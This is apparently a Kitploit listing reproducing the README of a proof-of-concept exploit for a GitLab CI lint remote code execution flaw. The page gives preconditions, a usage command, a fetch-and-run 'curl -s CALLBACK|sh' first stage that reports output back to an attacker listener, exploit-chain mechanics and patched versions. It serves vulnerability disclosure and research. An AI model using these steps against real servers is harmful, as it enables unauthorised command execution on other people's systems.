Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-97229-PoC — GitLab CI lint integer-overflow RCE PoC for CVE-2026-97229, validated against the official 19.4.1 CE amd64 image | Kitploit
Tools/GitHubGitHub/jburgess-r7/cve-2026-97229-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationWeb SecurityRemote Access ToolPayload Development
GitHubjburgess-r7/cve-2026-97229-poc

CVE-2026-97229-PoC

GitLab CI lint integer-overflow RCE PoC for CVE-2026-97229, validated against the official 19.4.1 CE amd64 image

View Repository
651116 days agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-97229: GitLab RCE via CI lint

poc.py exploits CVE-2026-97229 through GitLab's public CI lint endpoint. An attacker with permission to push to a public project supplies a CI regular expression and a specially named path. After that setup, a request without credentials executes the selected command as the GitLab git account.

This is an initial PoC release. Analysis of the vulnerability, affected configurations, and additional reachable paths is ongoing. Rapid7's technical analysis is linked below.

GitLab rates the issue CVSS 10.0. It affects GitLab Community Edition and Enterprise Edition from 19.2 before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2.

The included native layout has only been tested against the official Linux amd64 gitlab/gitlab-ce:19.4.1-ce.0 image:

gitlab/gitlab-ce@sha256:9b33b45b9f42d176bada85ee5ecb81ddab7e506c435f44cd582206e284b2809c

Preconditions

  • You can push a branch to a public project on the target. An ordinary project account is sufficient for this setup step.
  • Users without an account can read that project and reach GET /api/v4/projects/:id/ci/lint for the delivery step.
  • The target matches the supplied 19.4.1 CE amd64 Ruby layout. Other affected builds need adjusted pcode and libruby offsets.
  • The target host has enough memory. The generated pcode is slightly larger than 2 GiB, and the complete single-node test instance needed about 9 GiB available.
  • The target can reach the callback listener if you want unrestricted --cmd execution and returned output.

The chain requires project write access. Its later delivery request has no token, cookie, or authorization header; the authenticated clone URL pushes the attacker's payload branch.

Local requirements

Use Python 3.9 or newer and a Git client. The script has no third-party Python dependencies.

Usage

$ python3 poc.py https://g.example 123 \
    --git-url 'https://oauth2:[email protected]/attacker/public-poc.git' \
    --callback-url cb.ex:8000 \
    --cmd 'uname -a && id'
[*] deployed attacker ref 69fe2478c446ab17afe4c150; executing: uname -a && id
[*] delivery GET https://g.example/api/v4/projects/123/ci/lint?content_ref=69fe2478c446ab17afe4c150
[*] target stopped responding after delivery: HTTP Error 502: Bad Gateway
[uname output omitted]
uid=998(git) gid=998(git) groups=998(git)

The default listener binds to 0.0.0.0:8000. Use --listen-host or --listen-port when the local bind address differs from the address supplied to --callback-url.

The callback value must fit in the 28-byte first-stage command. With curl -s CALLBACK|sh, CALLBACK can be at most 17 UTF-8 bytes. A short DNS name, redirector, or tunnel endpoint is usually easiest.

Use --insecure when the GitLab endpoint has a self-signed TLS certificate. This flag affects the lint request; it does not change callback TLS handling.

Expected behavior

The GET normally ends with HTTP 502 after the callback. The payload executes inside a Puma worker, and that worker crashes after system() returns. Puma replaces it automatically. Treat returned command output as success, not the HTTP status.

On the exact target, the chain produced command output in 10 of 10 clean-worker trials with ASLR enabled. Each request took about 12 seconds. The same regular expression and path returned false without a callback on the official 19.4.2 Ruby compiler.

Running this against a lower-memory target may cause swapping, allocation failure, or an out-of-memory kill instead of code execution. Several concurrent requests can affect the whole GitLab instance.

Exploit chain

  1. CI lint reads .gitlab-ci.yml from the attacker-selected content_ref without credentials after the authenticated repository setup.
  2. include.rules.exists.regexp compiles an expression and tests it against attacker-controlled repository paths.
  3. {5(?#)7805} becomes {57805} in Onigmo but evades GitLab's repeat scanner.
  4. A UTF-8 path causes Ruby to recompile the validated US-ASCII expression after GitLab's one-megabyte compiled-size check.
  5. 37,151 × 57,805 crosses INT_MAX, and a generated branch offset wraps into character-class bitmap bytes.
  6. Those bytes redirect the Onigmo VM stack into the path, reuse interpreter pointers to survive ASLR, and reach a system() call site in libruby.
  7. The 28-byte path command downloads --cmd, then sends stdout and stderr back to the listener.

Technical analysis

Read Rapid7's technical analysis of CVE-2026-97229.

Remediation

Upgrade to GitLab 19.2.8, 19.3.5, 19.4.2, or a later supported release. See GitLab's critical patch release for deployment guidance.

Download Tool